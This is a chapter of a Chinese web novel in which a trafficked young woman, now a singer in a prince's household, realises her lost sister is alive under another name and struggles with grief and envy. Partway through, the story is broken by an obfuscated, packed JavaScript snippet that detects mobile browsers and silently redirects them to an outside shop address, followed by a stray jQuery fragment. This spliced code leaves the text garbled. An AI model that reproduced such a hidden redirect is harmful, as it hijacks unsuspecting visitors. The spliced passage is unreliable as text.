沈令姝回到秦王府偏院时，夜已经深了。
水榭里的曲声散尽，灯也一盏盏灭下去。远处仍有人笑，有人醉后高声谈军粮，有人夸江南李氏少夫人沉得住气。
沉得住气。
沈令姝听见这四个字时，低头笑了一下。
她也沉得住气。
她方才唱完那句“月落桥西，海棠未睡”，没有哭，没有冲出去，没有隔着帘子喊阿姐。
她只是抱着琵琶，坐在那里，像秦王府养的一名寻常女伎。
可回到屋中，门一合上，她的手就抖了。
琵琶弦被她按得低低一响。
她终于确认了。
李明昭就是沈令仪。
阿姐还活着。
这个念头在心里落下时，并没有带来想象中的欢喜。
先来的，是疼。
像有人把她这五年里所有没哭出来的眼泪、没喊出口的阿姐、没敢伸出的手，全都揉成一团，塞进胸口。
她坐在榻边，慢慢卷起左袖。
腕上那道旧疤还在。
碎瓷划过的痕迹已经很淡，淡得要凑近灯火才能看清。小时候她总说这道疤像小鱼，沈令仪便低头吹一吹，说小鱼会游走。
可小鱼没有游走。
她也没有走回阿姐身边。
那一夜之后，她被人从江南带走。
最初，她以为只要哭就会有人心软。
她哭着喊阿姐，喊母亲，喊父亲，喊到嗓子哑。
押送她的人嫌烦，一巴掌抽过来。
“再喊，就把舌头割了。”
她不信。
她那时还太小，以为恶话只是吓唬人。
直到盐路上一个同车的小女孩因为哭得太久，被塞了满口破布，险些闷死，她才知道，哭声在那些人耳朵里不是可怜，是麻烦。
于是她学会把哭咽回去。
盐路之后，是教坊。
教坊不全是唱曲跳舞的地方。
那里有管事，有牙婆，有内库外坊来挑人的人。有人看脸，有人看嗓子，有人看身段，也有人看她听不听话。
她起初什么都不会。
只会坐在角落里发抖。
有人问她叫什么，她说沈令姝。
那人笑了一声。
“沈家还有小姐？”
第二日，她的名字就没了。
他们叫她小海棠。
因为她会唱那句旧曲。
月落桥西，海棠未睡。
那原本是母亲教她哄睡的小调。
后来成了她活命的东西。
唱得好，能有饭。
唱错了，便没有。
再后来，她被送入一处暗院。
暗院里有许多女孩。
有的比她大，有的比她小，有的嗓子已经被香熏坏，说话像碎纸刮过墙。她们被教着唱同一句曲子，也被教着喊同一个称呼。
阿姐。
起初沈令姝不明白。
她们为什么要学她喊阿姐？
后来她明白了。
因为有人要用这声“阿姐”，去钓沈令仪。
那一刻，她第一次恨自己还活着。
她若死了，阿姐便不会因为她被钓。
可她又怕死。
她怕死到夜里不敢睡，怕睡着时被人拖走，怕醒来又换一个地方，怕有一天真的听见阿姐来了，却是来送死。
暗院里的人让她唱，她便唱。
让她教别的女孩唱，她也教。
有人学不像，管事会打人。
她便偷偷告诉那个女孩：“第三字后停一下，尾音不要太软。”
女孩感激地看她。
她却转过脸去。
她不是善良。
她只是怕那女孩被打死。
也怕那女孩学得太像。
像了，阿姐就会来。
她那时已经知道，通向她的每一条路，都可能是陷阱。
有一次，暗院里的人把一只旧香囊拿给她看，问是不是沈家的东西。她认得，那不是她的。针脚错了，香料也错了，可外人看不出来。
她摇头，说不是。
那人盯着她看了很久。
“你最好想清楚。”
她说：“不是。”
后来那只香囊还是送出去了。
她被关了一日，没有饭。
那一日，她靠在墙边，饿得眼前发黑，却忽然懂了一件事。
她说真话，未必有用。
可她若不开口，至少能让他们少知道一点。
于是她学会闭嘴。
学会在别人说话时低着头听。
学会记谁手上有疤，谁腰间挂内库牌，谁说到北衙会压低声音，谁每月初七来暗院，谁总把“长安”说成“京里”。
她没有纸，也不敢留字。
她只把这些藏在脑子里。
藏在曲调的停顿里。
藏在随口哼错的一声尾音里。
藏在给别的女孩系红绳时，多绕的那一圈里。
有人利用她，她便在被利用的缝里，藏下一点只有自己懂的东西。
再后来，她被转了几回。
春声渡、内库外坊、乐坊暗船、秦王府。
每换一个地方，她就换一个名字。
小海棠。
阿棠。
棠娘。
名字换到最后，她几乎忘了被人叫“令姝”是什么感觉。
秦王府比暗院干净。
至少屋子不漏风，饭菜也热。
可这里的人更会说话。
他们不打她。
他们让她唱曲，让她听宴，让她辨那些藏在话里的暗语。她听得准，便能留下；听不准，便会被送走。
送走的人，未必还活着。
她想活。
这个念头，曾经让她觉得羞耻。
沈家女儿，怎么能只想活？
可她后来不羞耻了。
死太容易。
活着才难。
她活着，才有机会知道阿姐是否还活着。
也有机会恨她。
是的。
她恨过沈令仪。
这恨最初很小。
像一根细刺。
每当暗院里有人逼她喊阿姐，她便想：阿姐为什么不来？
每当她听见外头有人说沈家大姑娘已经死了，她又想：若你死了，为什么不带我一起？
后来她听说江南来了一个李氏寡妇。
有粮，有船，有义仓，有医棚，有女工坊。
七皇子因她得势，清流因她转向，诸王都在抢她的粮路。
她起初只觉得可笑。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17580042|203631||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这世上的有钱寡妇太多。
可当她听见那寡妇可能是当年的裴宅奉香女时，心口忽然像被人抓住。
阿姐活着。
却不叫沈令仪了。
她叫李明昭。
她有李氏身份。
有要护着的遗孙。
有一整条江南粮路。
她坐在帘后，能让诸王等她开口。
她已经走到了一个沈令姝看不懂的新世界。
而沈令姝还困在旧曲里。
困在那句“月落桥西，海棠未睡”里。
困在一声没有喊出口的阿姐里。
这嫉妒来得很尖，尖得她自己都厌恶。
可它真实。
她在暗院里被人教着做钩子时，阿姐在江南做了白水主人。
她在秦王府隔着屏风听人说军需时，阿姐在诸王之间谈粮谈船。
她还记得那只旧布虎，记得沈府上元夜的灯，记得阿姐掌心的温度。
可阿姐已经护着别人的孩子了。
李岁安。
她听过那个名字。
李氏遗孙。
阿姐为了他拒了秦王府，换了江南旧仆，断了孩子信路。
沈令姝听见时，心里忽然冒出一个阴暗的念头。
若当年被护得这样周密的是她，她是不是就不会走到今日？
念头一出，她便愣住了。
随后又笑。
她怎么会变成这样？
会嫉妒一个孩子。
会怨一个活下来的人。
会在确认阿姐还活着时，第一反应不是扑过去，而是想试她、刺她、看她会不会为自己失态。
她不再是沈府那个小姑娘了。
阿姐也不再是从前的阿姐。
这才是最可怕的。
她们都活着。
却都被这五年活成了别的样子。
沈令姝站起身，走到铜镜前。
镜中女子眉眼有几分沈夫人的影子，也有几分沈令仪的冷。只是她眼底更暗，唇色更淡，看人时先防备，后才想起该不该笑。
她伸手摸了摸自己的脸。
海棠该有香。
可她没有。
她身上只有秦王府熏过的冷香、乐坊里染过的脂粉味、暗院里永远散不掉的烈香底子。
她早就不是那朵被人抱在怀里哄睡的小海棠。
门外传来小婢声音。
“棠娘，郭将军问您明日可否去前院听几句话。”
沈令姝回过神。
“说我嗓子不适，明日午后再去。”
“是。”
小婢走远。
沈令姝重新坐回榻边，将琵琶抱在怀里。
她想见李明昭。
也想躲开她。
想问她为什么没找到自己。
又怕她真的回答：我找过，可我还有许多人要护。
若阿姐这样说，她该怎么办？
她能恨她吗？
能。
可恨完呢？
她还是想靠近。
这才最可笑。
沈令姝垂下眼，轻轻拨了一下弦。
没有唱出声。
只在心里把那句旧曲唱完。
月落桥西，海棠未睡。
海棠未睡。
也未归。